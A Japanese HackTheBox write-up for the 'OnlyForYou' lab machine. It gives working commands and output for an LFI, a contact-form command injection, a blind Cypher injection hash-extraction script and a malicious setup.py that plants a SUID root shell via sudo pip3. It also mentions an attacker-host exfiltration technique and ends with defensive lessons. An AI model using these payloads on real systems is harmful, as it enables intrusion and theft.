HackTheBox: OnlyForYou — 全実行コマンド・実行結果レポート
Nmap + vhost発見
only4you.htb / beta.only4you.htb
→
only4you.htb / beta.only4you.htb
/download 絶対パスLFI
ソースコード入手
→
ソースコード入手
Contact フォーム
dig shell=True 注入
→
dig shell=True 注入
www-data RCE
→
内部ダッシュボード発見
Gogs/Neo4j (localhost限定)
→
Gogs/Neo4j (localhost限定)
boolean-blind
Cypher injection
→
Cypher injection
hashcat crack → john SSH
user.txt ✓
→
user.txt ✓
Gogs悪性パッケージ
+ sudo pip3
→
+ sudo pip3
SUID rootbash → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & ドメイン発見
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.50.118 nmap -sV -sC -p 22,80 10.129.50.118
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 (Ubuntu)
BASH
curl -sI --max-time 10 http://10.129.50.118/
RESULT
HTTP/1.1 301 Moved Permanently
Location: http://only4you.htb/
BASH
# /etc/hosts に追記 echo "10.129.50.118 only4you.htb" | sudo tee -a /etc/hosts
サブドメイン探索
BASH
# SecLists 未導入環境では Host ヘッダー総当りで代替可能。
# 実在しないHostは全て「デフォルトvhostへの301」になるため、
# それ以外の応答 (200等) を返すものが本物のvhost。
for sub in beta dev test admin api shop cdn cache git gitea jenkins app; do
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 \
-H "Host: ${sub}.only4you.htb" http://10.129.50.118/)
echo "$sub => $code"
done
# 公式には wfuzz + SecLists の subdomains-top1million-110000.txt でも可:
# wfuzz -c -f sub-fighter -w .../subdomains-top1million-110000.txt \
# -u 'http://only4you.htb' -H 'Host: FUZZ.only4you.htb' --hw 12
RESULT
beta => 200 ← 唯一の実在vhost (他は全て301)
dev => 301
test => 301
... (以下すべて301)
🚨
重要発見:
beta.only4you.htb という実在の
vhost を発見。ここは Flask 製の画像リサイズ/変換アプリで、
ソースコードダウンロードボタンを持つ。
PHASE 2
beta アプリの LFI でソースコード取得 & 脆弱性発見
/source ボタンでソース一式取得
BASH
curl -s http://beta.only4you.htb/source -o source.zip unzip source.zip
RESULT (ディレクトリ構成)
beta/
├── app.py
├── tool.py (PIL画像処理: resize/convert)
├── static/
├── templates/
└── uploads/{resize,convert,list}
app.py の /download エンドポイントに任意ファイル読取り
PYTHON (app.py 抜粋)
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename): # ← 絶対パスはノーチェックで通過
filename = os.path.join(app.config['LIST_FOLDER'], filename)
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
return send_file(filename, as_attachment=True)
🚨
脆弱性の核心:
'..' の有無しかチェックせず、
絶対パスはそのまま os.path.isabs() 判定を素通り
して send_file() に渡される。image=/etc/passwd
のような絶対パス指定だけで任意ファイル読取りが成立する。
BASH
curl -s -d "image=/etc/passwd" http://beta.only4you.htb/download
RESULT
root:x:0:0:root:/root:/bin/bash ... john:x:1000:1000:john:/home/john:/bin/bash ... neo4j:x:997:997::/var/lib/neo4j:/bin/bash mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false dev:x:1001:1001::/home/dev:/bin/bash
ℹ️
john・dev の一般ユーザーに加え、
neo4j・mysql というデータベースサービス
アカウントの存在が early に確認できる。
nginx設定 → メインサイトのソースを芋づる式に取得
BASH
curl -s -d "image=/etc/nginx/sites-enabled/default" http://beta.only4you.htb/download
RESULT
server {
listen 80;
server_name only4you.htb;
location / {
proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
}
}
server {
listen 80;
server_name beta.only4you.htb;
location / {
proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
}
}
BASH
curl -s -d "image=/var/www/only4you.htb/form.py" http://beta.only4you.htb/download
PYTHON (form.py — issecure() 関数)
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE) # ← コマンドインジェクション
output = result.stdout.decode('utf-8')
...
🚨
致命的な脆弱性発見:
email の
@ 以降 (domain) が検証なしに
shell=True の run() へそのまま渡る。
しかも re.match() は末尾に $ アンカーが無い
ため、正規表現にマッチする有効なメール文字列の後ろに任意の
テキストを追加しても検証を通過してしまう。
PHASE 3
Contact フォームの dig コマンドインジェクション → www-data RCE
ペイロード設計と正規表現バイパス確認
NOTE
email = "a@a.invalid;<任意コマンド>;" - "a@a.invalid" の部分だけで正規表現の必須パターン (ローカル部 @ ドメイン部.2文字以上のTLD) を満たすため、 re.match() の検証を通過する。 - 続く ";<cmd>;" はマッチ結果に影響しないまま email 文字列の 一部として残り、shell=True の run() に丸ごと渡る。 - ドメイン部に .invalid という(RFC 2606で予約された絶対に実在しない) TLDを使うことで、実在ドメイン(例: a.com)のSPFレコード再帰検索に よる著しい遅延・タイムアウトを回避し、注入コマンドを高速に実行できる。
BASH
# www-data 権限での id 実行結果を /tmp に書き出させ、 # 出力はレスポンスに表示されないため beta の LFI で読み戻す # (ブラインドコマンドインジェクション) curl -s --data-urlencode "email=a@a.invalid;id > /tmp/poc;" \ -d "subject=x" -d "message=x" http://only4you.htb/ curl -s -d "image=/tmp/poc" http://beta.only4you.htb/download
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
ブラインドコマンドインジェクション成立! レスポンス
自体には実行結果が出ないため、「/tmp へファイル出力 →
beta の LFI で読み戻す」という自己完結したブラインド
パターンを確立。以降の全ステップもこの方式で進める。
内部限定サービスの発見
BASH
curl -s --data-urlencode "email=a@a.invalid;ss -tlnp > /tmp/poc2 2>&1;" \ -d "subject=x" -d "message=x" http://only4you.htb/ curl -s -d "image=/tmp/poc2" http://beta.only4you.htb/download
RESULT
State Local Address:Port LISTEN 0.0.0.0:80 LISTEN 127.0.0.1:53 LISTEN 0.0.0.0:22 LISTEN 127.0.0.1:3000 ← Gogs LISTEN 127.0.0.1:8001 ← 内部ダッシュボード (Flask+Neo4j) LISTEN 127.0.0.1:33060 / 3306 (MySQL) LISTEN [::ffff:127.0.0.1]:7474 ← Neo4j HTTP LISTEN [::ffff:127.0.0.1]:7687 ← Neo4j Bolt
ℹ️
いずれも
127.0.0.1 限定バインドのため、外部
(Kali) から直接到達できない。以降の全操作は
www-data のブラインドコマンドインジェクション経由で
ターゲット自身に curl を打たせる形で行う。
内部ダッシュボード (8001) へのログイン
BASH
# デフォルト資格情報 admin:admin でログインできる curl -s --data-urlencode "email=a@a.invalid;curl -s -c /tmp/ck.txt -d 'username=admin&password=admin' http://127.0.0.1:8001/login -o /tmp/poc3;" \ -d "subject=x" -d "message=x" http://only4you.htb/
✅
admin:admin でログイン成功。ダッシュボードの
「Employees」ページに従業員検索フォーム (Neo4j Cypher クエリ経由)
があることを HTML から確認。
PHASE 4
内部ダッシュボードの boolean-blind Cypher injection → user.txt
単純な脱出+新規節追加はことごとく500になる
NOTE
従業員検索 (POST /search, パラメータ search) は Neo4j Cypher クエリに
検索文字列をそのまま埋め込んでいる (概ね
MATCH (p:employee) WHERE p.name contains '{検索文字列}' RETURN p.name
という構造と推定)。
しかし実機検証の結果、単純な ' 抜けに続けて RETURN / MATCH / WITH /
CALL / EXISTS{MATCH...} など何らかの新規節を追加すると、末尾を //
でコメントアウトしても理由不明のまま常に 500 エラーになることが
判明した(一般的なウォークスルーで紹介される LOAD CSV FROM
'http://attacker/'+a によるOOBデータ流出手法はこの実機では機能しない)。
BASH
# 全て500になる例 (新規節を追加するパターン)
search=Sarah' RETURN 1//
search=Sarah' CALL db.labels() YIELD label AS a RETURN a//
search=Sarah' OR EXISTS { MATCH (o:user) WHERE o.username = 'admin' }
⚠️
唯一機能したのは、既存の WHERE 節の中に留まる単純な
ブーリアン OR (例:
OR '1'='1) だけだった。
さらに深く調べたところ、「MATCH キーワードを一切含まない
裸パターンの EXISTS{}/count{} 部分式」
だけは正常動作することを突き止めた。
裸パターン EXISTS{} によるブーリアンオラクル確立
PYTHON (内部から127.0.0.1:8001へ、www-data権限で実行)
import requests
s = requests.Session()
s.post("http://127.0.0.1:8001/login", data={"username":"admin","password":"admin"})
def check(cypher_bool_expr):
payload = ("nonexistentxyz' OR EXISTS { (u:user) WHERE "
+ cypher_bool_expr + " } AND '1'='1")
r = s.post("http://127.0.0.1:8001/search", data={"search": payload})
return len(r.text)
print(check("u.username STARTS WITH 'a'")) # → 10746 (TRUE: adminが該当)
print(check("u.username STARTS WITH 'zzz'")) # → 7252 (FALSE: 該当なし)
✅
成功!
MATCH キーワードを書かずに
(u:user) という裸のノードパターンだけを
EXISTS{} に入れると正常応答する。レスポンス本文長の
違い (TRUE=全件ヒットで長い / FALSE=0件で短い) を真偽値の
オラクルとして使えることを確認した。
1文字ずつのブーリアンブラインド抽出 (ユーザー名でスコープ必須)
PYTHON (抽出ロジック、16並列でSHA256ハッシュを高速抽出)
from concurrent.futures import ThreadPoolExecutor
CHARSET = "0123456789abcdef" # SHA256 は16進数のみ
def extract(username, field, maxlen=64):
# 重要: username でスコープしないと、複数ユーザーが存在する場合に
# 「field が prefix から始まるユーザーが *誰か1人でも* いるか」しか
# 判定できず、全ユーザー分の抽出結果が1人分の値に収束してしまう!
scope = f"u.username = '{username}' AND "
known = ""
for _ in range(maxlen):
with ThreadPoolExecutor(max_workers=16) as ex:
exprs = [scope + field + f" STARTS WITH '{known+c}'" for c in CHARSET]
results = list(ex.map(check, exprs))
matched = next((c for c, ok in zip(CHARSET, results) if ok), None)
if matched is None:
break
known += matched
return known
admin_hash = extract("admin", "u.password")
john_hash = extract("john", "u.password")
RESULT (約10秒で完了)
admin: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 john: a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6
⚠️
実機トラブルシューティング (バックグラウンド実行):
このスクリプトを1回のブラインドコマンドインジェクションで
バックグラウンド実行させる際、単純な
(python3 extract.py &) > /dev/null 2>&1 &
では stdin が親の pipe に繋がったままになり、HTTPリクエストを
処理した gunicorn ワーカーが破棄されるタイミングでプロセスごと
消えてしまう自己潰しバグになる。nohup python3 extract.py
< /dev/null > /dev/null 2>&1 & のように
stdin/stdout/stderr を完全に /dev/null へデタッチする
ことで確実にオーファン化・存続させる必要がある。
hashcat でクラック → SSH → user.txt
BASH
echo "8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918" > hashes.txt echo "a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6" >> hashes.txt hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --potfile-disable
RESULT
8c6976e5...448a918:admin a85e870c...411c55f6:ThisIs4You
BASH
sshpass -p 'ThisIs4You' ssh john@10.129.50.118 "cat ~/user.txt"
RESULT
dade7b4abf38a9bd8ad67f3ce45191a2
user.txt — john@onlyforyou
dade7b4abf38a9bd8ad67f3ce45191a2
PHASE 5
Gogs悪性Pythonパッケージ + sudo pip3 download → root.txt
sudo権限の確認
BASH
sshpass -p 'ThisIs4You' ssh john@10.129.50.118 "sudo -l"
RESULT
User john may run the following commands on onlyforyou:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
🚨
pip3 download は、パッケージの .tar.gz
(sdist) をダウンロードする際に、依存関係メタデータを取得する目的で
同梱の setup.py を実行する (よく知られた
pip の危険な挙動)。しかも許可された URL は
http://127.0.0.1:3000/ (= Gogs) 配下に限定されており、
john 自身が Gogs アカウントを持てることを踏まえると、
自作の悪性パッケージを自分のリポジトリにアップロードして
そのまま root 権限で実行させられることを意味する。
悪性 setup.py を含む Python パッケージの作成
PYTHON (setup.py)
import setuptools
import os
os.system("cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash")
with open("README.md", "r") as fh:
long_desc = fh.read()
setuptools.setup(
name="pwnpack", version="0.0.1",
author="pentester", author_email="pentest@only4you.htb",
description="pentest",
long_description_content_type="text/markdown",
packages=setuptools.find_packages(),
classifiers=["Programming Language :: Python :: 3",
"Operating System :: OS Independent"],
python_requires='>=3.6',
)
BASH
mkdir -p pwnpack/pwnpack touch pwnpack/pwnpack/__init__.py pwnpack/README.md # (setup.py を pwnpack/ 直下に作成) cd pwnpack && python3 setup.py sdist bdist_wheel # → dist/pwnpack-0.0.1.tar.gz が生成される
ℹ️
ペイロードはリバースシェルではなくSUID 化した bash の
設置を選択。リスナー不要で、以後
/tmp/rootbash -p -c '<cmd>' だけで何度でも
root コマンドを実行できるシンプルな設計。
Gogs へアップロード (john の資格情報を再利用)
BASH
sshpass -p 'ThisIs4You' scp dist/pwnpack-0.0.1.tar.gz \ john@10.129.50.118:/tmp/pwnpack-0.0.1.tar.gz
BASH (john の SSH シェル内、Gogs は127.0.0.1限定のためローカルcurl)
# 1. ログイン (john:ThisIs4You は Gogs でも再利用されている) CSRF=$(curl -sc cj.txt http://127.0.0.1:3000/user/login -o - \ | grep -oE 'name="_csrf" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//') curl -s -b cj.txt -c cj.txt -d "user_name=john&password=ThisIs4You&_csrf=$CSRF" \ http://127.0.0.1:3000/user/login # 2. リポジトリ作成 (毎回フォームページから新鮮な _csrf を取得すること!) CSRF=$(curl -s -b cj.txt -c cj.txt http://127.0.0.1:3000/repo/create -o - \ | grep -oE 'name="_csrf" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//') curl -s -b cj.txt -c cj.txt \ -d "_csrf=$CSRF&user_id=2&repo_name=pwn&private=false&auto_init=true&readme=Default" \ http://127.0.0.1:3000/repo/create # 3. ファイルアップロード (2段階: upload-file でUUID取得 → コミット) CSRF=$(curl -s -b cj.txt -c cj.txt "http://127.0.0.1:3000/john/pwn/_upload/master/" -o - \ | grep -oE 'name="_csrf" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//') UUID=$(curl -s -b cj.txt -c cj.txt -F "_csrf=$CSRF" \ -F "file=@/tmp/pwnpack-0.0.1.tar.gz" \ "http://127.0.0.1:3000/john/pwn/upload-file" | grep -oE '"uuid":"[^"]+"' | sed 's/.*:"//;s/"//') CSRF=$(curl -s -b cj.txt -c cj.txt "http://127.0.0.1:3000/john/pwn/_upload/master/" -o - \ | grep -oE 'name="_csrf" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//') curl -s -b cj.txt -c cj.txt \ -d "_csrf=$CSRF&files=$UUID&commit_choice=direct" \ "http://127.0.0.1:3000/john/pwn/_upload/master/"
⚠️
実機トラブルシューティング (CSRF): Gogs の
_csrf トークンは使い回すと即座に
Bad Request: no CSRF token present になる。
ログイン・リポジトリ作成・アップロード・コミットの各POSTの
直前に必ず対象ページを GET して新鮮なトークンを取得する
こと。
sudo pip3 download で root RCE 発火
BASH
echo 'ThisIs4You' | sudo -S /usr/bin/pip3 download \ http://127.0.0.1:3000/john/pwn/raw/master/pwnpack-0.0.1.tar.gz
RESULT
Collecting http://127.0.0.1:3000/john/pwn/raw/master/pwnpack-0.0.1.tar.gz
Downloading ... (1.2 kB)
Saved ./pwnpack-0.0.1.tar.gz
Successfully downloaded pwnpack
BASH
test -u /tmp/rootbash && echo SUID_OK /tmp/rootbash -p -c 'cat /root/root.txt'
RESULT
SUID_OK 37bcd22aed4d499f141fd80a67f35f6a
root.txt — root@onlyforyou
37bcd22aed4d499f141fd80a67f35f6a
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — john@onlyforyou
dade7b4abf38a9bd8ad67f3ce45191a2
root.txt — root@onlyforyou
37bcd22aed4d499f141fd80a67f35f6a
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 絶対パスLFI | beta./download (posixpath.normpath の不備) | ソースコード・設定ファイル漏洩 | High | 絶対パスは’..’チェックとos.path.isabs()を素通りしそのままsend_file()される |
| OSコマンドインジェクション | only4you.htb Contact フォーム (form.py issecure()) | リモートコード実行 (www-data) | Critical | re.match()の末尾アンカー欠如を突きemail欄末尾に任意コマンドを追加、dig実行がshell=Trueでそのまま解釈 |
| デフォルト資格情報 | 内部ダッシュボード (127.0.0.1:8001) | 内部情報への不正アクセス | Medium | admin:adminでログイン可能 |
| Cypher (Neo4j) injection | 内部ダッシュボード従業員検索 (/search) | データベース内容の窃取 | Critical | 裸パターンEXISTS{}部分式によるboolean-blind抽出でuser資格情報のSHA256ハッシュを復元 |
| pip3 setup.py実行 + sudo | /usr/bin/pip3 download (sudoers NOPASSWD) | 権限昇格 (john→root) | Critical | Gogsに自作の悪性setup.pyを含むパッケージをアップロードしsudo pip3 downloadでroot実行させる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + Hostヘッダーvhost探索 | only4you.htb, beta.only4you.htb |
| 2 | LFI&ソース取得 | 絶対パス/download | form.py コマンドインジェクション発見 |
| 3 | コマンドインジェクション | 正規表現バイパス + .invalid TLD | www-data RCE、内部サービス発見 |
| 4 | Cypher injection | 裸パターンEXISTS{}によるboolean-blind | user.txt (john) |
| 5 | 権限昇格 | Gogs悪性パッケージ + sudo pip3 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ファイルダウンロードエンドポイントが絶対パスを弾いていない | os.path.isabs()判定で絶対パスを明示的に拒否するか、常にホワイトリストディレクトリ内へのbasename()正規化を強制する。 |
| ユーザー入力がshell=Trueのsubprocess呼び出しにそのまま渡っている | shell=Trueを避け引数をリストで渡す。どうしてもシェル経由が必要な場合はshlex.quote()で確実にエスケープする。メール検証regexは必ずfullmatch()または末尾$アンカーを使う。 |
| 内部限定サービスがデフォルト/弱い資格情報のまま公開されている | 内部サービスであっても初期パスワードの変更を必須化する。多層防御としてWebアプリからのSSRF/内部到達も想定した設計にする。 |
| グラフDBクエリにユーザー入力を文字列結合している | Cypherのパラメータ化クエリ ($param 構文) を必ず使用し、文字列結合による動的クエリ構築を避ける。 |
| sudoで許可したpip3 downloadがsetup.py経由の任意コード実行を許してしまう | pip downloadやinstallをsudoで許可しない。どうしても必要な場合は–no-deps –no-build-isolationや事前検証済みの社内PyPIミラーに限定し、信頼できないソースからのsdistビルドを禁止する。 |

